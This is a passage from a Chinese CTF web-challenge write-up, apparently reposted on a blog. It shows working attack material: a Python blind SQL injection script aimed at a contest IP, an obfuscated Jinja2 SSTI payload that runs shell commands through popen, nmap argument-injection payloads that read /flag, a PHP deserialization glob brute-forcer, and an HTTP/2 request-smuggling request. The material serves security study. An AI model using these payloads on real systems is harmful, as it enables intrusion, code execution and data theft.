dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-=+[{]};:'",<.>/? `~!@#$^&*()\x00"result = ''
while True:data = ''for i in range(len(dict)):data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}response = requests.post(url=url, data=data)if 'Persistence' in response.text:result += dict[int(i)]print(result)breakif dict[int(i)] == '\x00':  #%00作为结束符号print('盲注结束,结果是:'+result)exit(0)

image-20231118010256198

传送门1

但是articles显然不是存放flag的数据库,还是绕不过information_schema,我们找找替换。

还记得当年钱塘江畔的无列名注入吗,当时我的笔记是这样的:

  • InnoDb引擎

从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

  • sys数据库

在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。

这么说来,数据库中初始的,存储数据库名字的表不止一个哦~

细细翻翻本地数据库中sys库下的表。

image-20231118012549886

sys库下的表但凡是schema_打头的基本上都存了所有数据库名字!!!

image-20231118012745792

我们以sys.schema_auto_increment_columns这张表为例,嘶,没注出结果,换一张,schema_table_statistics,这个有结果了,而且这张表里面也存储了对应数据库的所有表名。

image-20231118020800044

获取数据库名脚本(改一下limit可以看同一列另外的数据哦)

import requests#payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#'
payload = '1\') and (select (select table_schema from sys.schema_table_statistics limit 1,1) like binary \'{}%\')#'url = "http://47.108.56.168:1111/index.php"#dict是爆破的字典,去掉了%_,要不然会出现点小问题
dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789-=+[{]};:'",<.>/? `~!@#$^&*()\x00"result = ''
while True:data = ''for i in range(len(dict)):data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}response = requests.post(url=url, data=data)if 'Persistence' in response.text:result += dict[int(i)]print(result)breakif dict[int(i)] == '\x00':  #%00作为结束符号print('盲注结束,结果是:'+result)exit(0)

得到库ctf

image-20231118021028355

简单修改payload,得到表flll444aaggg9,应该是ctf里面的,不确定的情况下可以回到上一个payload看看,limit n,1,两个payload中n相等那就是库和表对应。

image-20231118021109900

最后payload得到flag:

payload = '1\') and (select (select * from ctf.flll444aaggg9 limit 2,1) like binary \'{}%\')#'

image-20231118021714424


关于联合注入注不出字段位的问题。出题人说:

手注确实应该注不出来,好像五十多还是六十多字段

可以通过groupby判断

我本意是过滤了or然后用groupby去判断字段数,但是看师傅们都跳过了这个步骤

hhhhhhhhh

klf_3

题目描述:好好好这都给你们做出来了,这次我拜托了pursue0h帮我收集了你们前几次的payload,这次绝对不可能让你们做出来,你们绝对是klf

开题:

image-20231120201549478

信息搜集,路由/secr3ttt

image-20231120201635427

我klf_2的payload直接可以继续用,嘶,那应该是没收集到我的payload吧。

payload:

/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=(()|select|string|list)|attr(po)(24)%} 
{% set oo=dict(o=a,s=a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set ch=dict(ch=a,r=a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set re=dict(re=a,ad=a)|join()%}
{% set en=dict(en=a,v=a)|join()%}
{% set fl=dict(fl=a,ag=a)|join()%}
{% set ta=dict(ta=a,c=a)|join()%}
{% set kgxg=(chhr(32),chhr(47))|join()%}
{% set tf=(ta,kgxg,fl)|join()%}
{% set ll=dict(l=a,s=a)|join()%}
{% set lll=(ll,kgxg)|join()%}
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%}
{% set ha=dict(ha=a,hahaha=a)|join()%}
{% set th=(ta,chhr(32),ha)|join()%}
{% set ym=(dict(ca=a,t=a)|join,chhr(32),dict(ap=a,p=a)|join,chhr(46),dict(p=a,y=a)|join)|join()%}
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(47),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}
{% set cmd=pp(six)|attr(re)()%}
{{cmd}}

image-20231120202048854

scan_tool【】***

题目描述:nmap也太好用了!不是吧,你还不会用吗?

参考文章:

[BUUCTF 网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客

直接过滤了<,无法写🐎,只能带出文件了。同时还过滤了-iL-oN等参数。

这题应该也用了PHP中的escapeshellarg()函数,在asisctf-2023 hello中遇到过,会剔除不可见字符。这个特性可以用来绕过对-iL-oN等参数的过滤。

Nmap的相关参数选项:

利用-iL参数将文件外带,利用-oG参数将结果写入当前目录的文件

payload如下:

ip=' -i%faL /flag -o%faN 1.txt '

image-20231127143941971

Akane!

题目描述:最适合梅菲斯特的一题

开题直接给了源码,无利用点的反序列化。

image-20231127023506681

无利用,解读一下代码。考点就是绕过__weakeup+glob://协议+爆破文件名。

glob:// — 查找匹配的文件路径模式
也可以说返回当前路径下所有文件的文件名

支持通配符如:
glob:///var/www/html/*.php

image-20231127034719960

脚本如下:

import base64
import requests
import timeurl = 'https://hg0vl3j25gw55p3ktv9oed5md.node.game.sycsec.com/?tuizi='
strrr=''
#glob:///var/www/html/The*长度25
count=26
while True:for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789_-+[{]};:\'",<>/`!@#$%^&()= .?\x00':payload = 'O:7:"Hoshino":2:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:'+str(count)+':"glob:///var/www/html/The' + strrr+i + '*";}s:19:" Hoshino Aquamarine";N;'res_url = url + base64.b64encode(payload.encode('utf-8')).decode('utf-8')resp = requests.get(url=res_url)print(payload)if 'Kurokawa Akane' in resp.text:strrr=strrr+icount=count+1print(strrr)breakif i=='\x00':exit('结束')

image-20231127034815158

image-20231127034755330

EZ_Smuggling【】

题目描述:这是一个简单的H2转H1的小网站,站长认为他很安全,没有人能在他的网站走私任何东西。

开题是一个登陆界面。

image-20231124191437850

注册一个号登录一下。flag应该在秘密文章里面,只有admin可以访问。

image-20231124193732766

其他有用的信息如下:

image-20231124193755608

image-20231124193812953

首先想到的就是Http2请求走私。这题是CL请求走私,缩写说明 CL=Content-Length TL=Transfer-Encoding。

参考文章:

学好此文,国家赠送金手铐和职业套装,数年管吃管住-HTTP请求夹带(HTTP request smuggling)_请求夹带是什么_Eason_LYC的博客-CSDN博客

WEB安全-金手铐系列-HTTP/2高级请求夹带攻击–Advanced request smuggling-CSDN博客

在重发器选项中,关掉**update Content-length ** 打开 Allow HTTP/2 ALPN override

image-20231128190506389

最后一定要加一个空行。

image-20231128171553433

最后的请求包:

POST / HTTP/2
Host: 47.108.56.168:20231
Cookie: session=MTcwMTE1MzY1OXxZZDJ0S0UzU1hhb0kwYXJpRG9lc29vYlhMR0tzdGp6SUlESjdDOWt5VUJSMHJrZnRFLXdMY21vaC1aYTZ2cGp2dkFMcExKeFp6UVZPSjYtQkd3M19LTUhLdXA0dm9yLTl8DIDEaXHFlq1d3J707WOwvPlwbFuGLXWdLDPKsR3qCEc=
Sec-Ch-Ua: "Chromium";v="97", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.
Content-Type: application/x-www-form-urlencoded
Content-Length: 0GET /admin HTTP/1.1
Host: 47.108.56.168:20231
Cookie: session=MTcwMTE1MzY1OXxZZDJ0S0UzU1hhb0kwYXJpRG9lc29vYlhMR0tzdGp6SUlESjdDOWt5VUJSMHJrZnRFLXdMY21vaC1aYTZ2cGp2dkFMcExKeFp6UVZPSjYtQkd3M19LTUhLdXA0dm9yLTl8DIDEaXHFlq1d3J707WOwvPlwbFuGLXWdLDPKsR3qCEc=
Content-Length: 17x=Jay17xxxxxxxxx

关键就这几部分:

image-20231128171928349

java【】

题目描述:不一样的Java反序列化,想办法读取到admin的真正secret吧(java的String.split好像有点特殊)

主要代码:

controller/home.java

package com.example.springwebdemo.controller;import com.example.springwebdemo.redis;
import com.example.springwebdemo.input;
import com.example.springwebdemo.model.User;
import com.example.springwebdemo.output;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Map;@Controller
public class home {@RequestMapping(value = "/",method = RequestMethod.GET)public String index(HttpSession session) throws IOException {return "home";}@RequestMapping(value = "/error",method = RequestMethod.GET)public String error(){return "error";}@RequestMapping(value = "/login",method = RequestMethod.POST)public String login(HttpSession session, HttpServletRequest request, RedirectAttributes redirectAttributes) throws Exception {String username = request.getParameter("username");String password = request.getParameter("password");if (username.equals("admin") && password.equals("123456")){session.setAttribute("user", username);if (redis.get(session.getId()+"admin") == null){User u = new User();u.name ="admin";u.sex = "男";u.age = 10;redis.save(session.getId()+"admin",marshalinfo(u));}return "redirect:admin";}else {session.setAttribute("user", "");redirectAttributes.addAttribute("msg","登录失败");return "redirect:error";}}@RequestMapping(value = "/admin",method = RequestMethod.GET)public String admin(HttpSession session, RedirectAttributes redirectAttributes, Model model) throws Exception{Object user = session.getAttribute("user");if (user == null || user.toString().equals("")){redirectAttributes.addAttribute("msg","请先登录");return "redirect:error";}String name = user.toString();User userinfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()+name)))).readObject();Path path = Paths.get(userinfo.secretFile);if (!path.startsWith("/tmp")){redirectAttributes.addAttribute("msg","secret must be under /tmp");return "redirect:error";}byte[] secret = Files.readAllBytes(path);model.addAttribute("user",userinfo);model.addAttribute("secret",new String(secret));return "admin";}@RequestMapping(value = "/marshalinfo",method = RequestMethod.POST)@ResponseBodypublic String marshalinfo(User u) throws Exception {u.secretFile ="/tmp/admin_secret";ByteArrayOutputStream out = new ByteArrayOutputStream();output o = new output(out);o.writeObject(u);return Base64.getEncoder().encodeToString(out.toByteArray());}@RequestMapping(value = "/invoke",method = RequestMethod.POST)@ResponseBodypublic String save(HttpSession session,@RequestBody Map<String, String> info) throws Exception {Object user = session.getAttribute("user");if (user != null && !user.equals("")){String action = info.get("action");switch (action){case "update":try{String data = info.get("data");User newInfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(data))).readObject();User oldInfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()+user.toString())))).readObject();oldInfo.name = newInfo.name;oldInfo.sex = newInfo.sex;oldInfo.age = newInfo.age;oldInfo.hash = newInfo.hash;ByteArrayOutputStream out = new ByteArrayOutputStream();output o = new output(out);o.writeObject(oldInfo);redis.save(session.getId()+user.toString(),Base64.getEncoder().encodeToString(out.toByteArray()));return "更新成功 name、sex、age成功";}catch (Exception e){return "更新失败: "+e;}default:return "受支持action: " +action;}}else {return "请先登录";}}
}

model/User.java

package com.example.springwebdemo.model;import org.springframework.util.StringUtils;import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.ArrayList;public class User implements Serializable {public static String separator = "O.o";public String hash = "";public String name = "张三";public String sex = "男";public int age;public String secretFile ="/tmp/admin_secret";public String getName() {return name;}public void setName(String name) {this.name = name;}public String getSex() {return sex;}public void setSex(String sex) {this.sex = sex;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public String getSecretFile() {return secretFile;}public void setSecretFile(String secretFile) {this.secretFile = secretFile;}private void readObject(java.io.ObjectInputStream s)throws Exception{String data = (String) s.readObject();Field[] fields = this.getClass().getFields();if (StringUtils.countOccurrencesOf(data, User.separator) != fields.length-2){throw new Exception(String.format("`%s` is the separator of the split method, the number of `%s` occurrences must be "+(fields.length-2),User.separator,User.separator));}String[] splits = data.split(User.separator);for (int i = 1; i < fields.length; i++) {if(fields[i].getType().getName().equals("int")){fields[i].set(this,Integer.parseInt(splits[i-1]));}else{fields[i].set(this,splits[i-1]);}}this.hash = (String) s.readObject();if (StringUtils.countOccurrencesOf(this.hash, User.separator) != 0){throw new Exception("hash cont content O.o");}}private void writeObject(ObjectOutputStream os)throws Exception{Field[] fields = this.getClass().getFields();ArrayList<String> datas = new ArrayList<>();for (int i = 1; i < fields.length; i++) {if(fields[i].getType().getName().equals("int")){datas.add(String.valueOf(fields[i].get(this)));}else{datas.add(fields[i].get(this).toString());}}os.writeObject(String.join(User.separator,datas));os.writeObject(String.join("-",datas));}
}

看源码可以知道账号密码是admin123456

image-20231128182618760

这题考察了java中String.split的特性,String.split()的参数是分隔符,分隔符遵循正则匹配。题目中的分隔符是O.o,在正则匹配的模式中.(点)会被匹配成任意字符。

我们可以在可改的数据中加入分隔符,从而改变无法改变的数据secretFile。我们不用自己序列化/反序列化,题目会自动序列化/反序列化的。

image-20231128191246911

登录后,在名字那一栏输入111OxoJay17Oxo1Oxo19Oxo/tmp/flagOxo111,点击保存,secretFile属性就会被赋值成/tmp/flag。flag会自动显示在秘密框。

image-20231128193801447

修改后。

image-20231128194542481

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/178533.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VAE模型及pytorch实现

VAE模型及pytorch实现 VAE模型推导部分最小化KL散度推导代码部分损失函数Encoder部分Decoder部分VAE整体架构 VAE问题参考资料 VAE&#xff08;变分自编码器&#xff09;是一种生成模型&#xff0c;结合了自编码器和概率图模型的思想。它通过学习数据的潜在分布&#xff0c;可以…

Make sure that using this pseudorandom number generator is safe here.

问题类型&#xff1a;安全热点 安全问题级别&#xff1a;MEDIUM 一、问题代码 工具类Package&#xff1a; Java commons-lang3 库 RandomUtils 随机数工具类 import org.apache.commons.lang3.RandomUtils; 用法&#xff1a; RandomUtils.nextInt(0, 999999999) //生成 0…

31.0/LinkedList/Set/ashSet/ TreeSet/Map/ HashMap/ TreeMap

目录 31.1Linkedlist 31.2Set集合 31.3HashSet集合 31.4添加元素 31.5删除 31.6hashSet的遍历 31.7hashSet的源码 31.8TreeSet集合。 31.1Linkedlist 1.凡是查询源码 &#xff0c;我们都是从类的构造方法入手:/*** Constructs an empty list.*/public LinkedList() {}该…

【Java从入门到大牛】网络编程

&#x1f525; 本文由 程序喵正在路上 原创&#xff0c;CSDN首发&#xff01; &#x1f496; 系列专栏&#xff1a;Java从入门到大牛 &#x1f320; 首发时间&#xff1a;2023年11月23日 &#x1f98b; 欢迎关注&#x1f5b1;点赞&#x1f44d;收藏&#x1f31f;留言&#x1f4…

大数据 DataX-Web 详细安装教程

目录 一、DataX-Web 介绍 1.1 DataX-Web 是什么 1.2 DataX-Web 架构 二、DataX-Web 安装部署 2.1 环境要求 2.2 安装 2.3 部署 2.4 数据库初始化 2.5 配置 2.6 启动服务 2.6.1 一键启动所有服务 2.6.2 一键取消所有服务 2.7 查看服务&#xff08;注意&#xff01…

线性分类器--图像表示

整个模型 图像表示 二进制图像 灰度图像 彩色图像 大多数分类算法都要求输入向量&#xff01; rbg的图像矩阵转列向量 大小为 32X32 的话&#xff0c;图像矩阵转列向量是多少维&#xff1f; 32x32x3 3072 维列向量

监控大屏 | 拐角OLED柔性屏:实现拐角处连惯拼接显示

监控大屏 | 拐角OLED柔性屏 产品&#xff1a;20块55寸OLED柔性屏 项目时间&#xff1a;2023年10月 项目地点&#xff1a;贵州 应用场景&#xff1a;在监控大厅三面墙都要装显示屏&#xff0c;利用OLED柔性屏可弯曲的特性&#xff0c;在两个捌角处进行拼接安装。 在2023年10…

如何一分钟内画好可视化图形?

一、定类数据 饼图 描述&#xff1a;用形状类似“饼”的形态描述数据的占比&#xff0c;并且参与绘制的数值没有负值&#xff0c;比如想要直观的查看“月生活费各个板块的占比”。 操作&#xff1a;以SPSSAU为例&#xff0c;使用“频数分析”即可。 示例&#xff1a; 圆环图…

钉钉直播不了检查防火墙配置没有拦截应用测试直通都放行的,电脑还可以ping通直播域名,就是开始不了直播

环境: 防火墙 AF8.0.17 Win10 专业版 问题描述: 钉钉直播不了检查防火墙配置没有拦截应用测试直通都放行的,电脑还可以ping通直播域名,就是开始不了直播 钉钉直播不了 不能直播电脑电脑可以ping通直播域名 防火墙查了3个域名都没有拦截,AF测试应用直通都放行的 解…

vue3(二)-基础入门之列表循环、数组变动检测、filter模糊查询、事件修饰符

一、列表循环 of 和 in 都是一样的效果 html代码&#xff1a; <div id"app"><ul><li v-for"item of datalist">{{ item }}</li></ul><ul><li v-for"item in dataobj">{{ item }}</li></u…

PyQt6 QPlainTextEdit纯文本控件

​锋哥原创的PyQt6视频教程&#xff1a; 2024版 PyQt6 Python桌面开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili2024版 PyQt6 Python桌面开发 视频教程(无废话版) 玩命更新中~共计28条视频&#xff0c;包括&#xff1a;2024版 PyQt6 Python桌面开发 视频教程(无废话…

2023年c语言程序设计大赛

7-1 这是一道送分题 为了让更多的同学参与程序设计中来&#xff0c;这里给同学们一个送分题&#xff0c;让各位感受一下程序设计的魅力&#xff0c;并祝贺各位同学在本次比赛中取得好成绩。 注&#xff1a;各位同学只需将输入样例里的代码复制到右侧编译器&#xff0c;然后直…

智能优化算法应用:基于蝴蝶算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于蝴蝶算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于蝴蝶算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.蝴蝶算法4.实验参数设定5.算法结果6.参考文献7.MATLAB…

Stable Diffusion绘画系列【2】:二次元风美女

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

2004-2022年上市公司托宾Q值数据

2004-2022年上市公司托宾Q值数据 1、时间&#xff1a;2004-2022年 2、指标&#xff1a;年份、股票代码、股票简称、行业名称、行业代码、省份、城市、区县、行政区划代码、城市代码、区县代码、首次上市年份、上市状态、托宾Q值 3、范围&#xff1a;上市公司 4、来源&#…

Python小知识

个人学习笔记&#xff0c;用于记录使用过程中好用的技巧、好用的库。 1 小知识 1.1 相对路径 1.2 打包Exe文件 命令&#xff1a; pyinstaller -F main.py其中-F&#xff1a;覆盖之前打包的文件 mian.py&#xff1a;需要打包的Python文件 PS&#xff1a;使用pyinstaller 5.1…

如何优化索引?

前缀索引 这个操作是为了减少索引长度&#xff0c;即占用空间的。这样一个页可以多存一些索引&#xff0c;查找时候就会更快了。但是前缀索引有俩缺点&#xff0c;一个是ORDER BY或GROUP BY时候没法用&#xff0c;另一个是没法用做覆盖索引&#xff08;因为索引本来自己都不全…

计算机网络408

一&#xff1a;计算机网络体系结构 1.计网的概念&#xff0c;组成&#xff0c;功能和分类 一&#xff1a;计算机网络的发展 (3)从功能组成视觉看&#xff1a;分为资源子网和通信子网 2.计网性能指标

性能自动化测试?

一、思考❓❔ 1.什么是性能自动化测试? 性能 系统负载能力超负荷运行下的稳定性系统瓶颈 自动化测试 使用程序代替手工提升测试效率性能自动化 使用代码模拟大批量用户让用户并发请求多页面多用户并发请求采集参数&#xff0c;统计系统负载能力生成报告 2.Python中的性能…

RabbitMQ工作模式2 整合springboot 和MQ高级特性

RabbitMQ工作模式 1.路由模式 创建交换机 , 连接队列 (生产者) public class MyTestExDirect {Testpublic void bbb() throws IOException, TimeoutException {ConnectionFactory connectionFactory new ConnectionFactory();//连接mqconnectionFactory.setUsername("…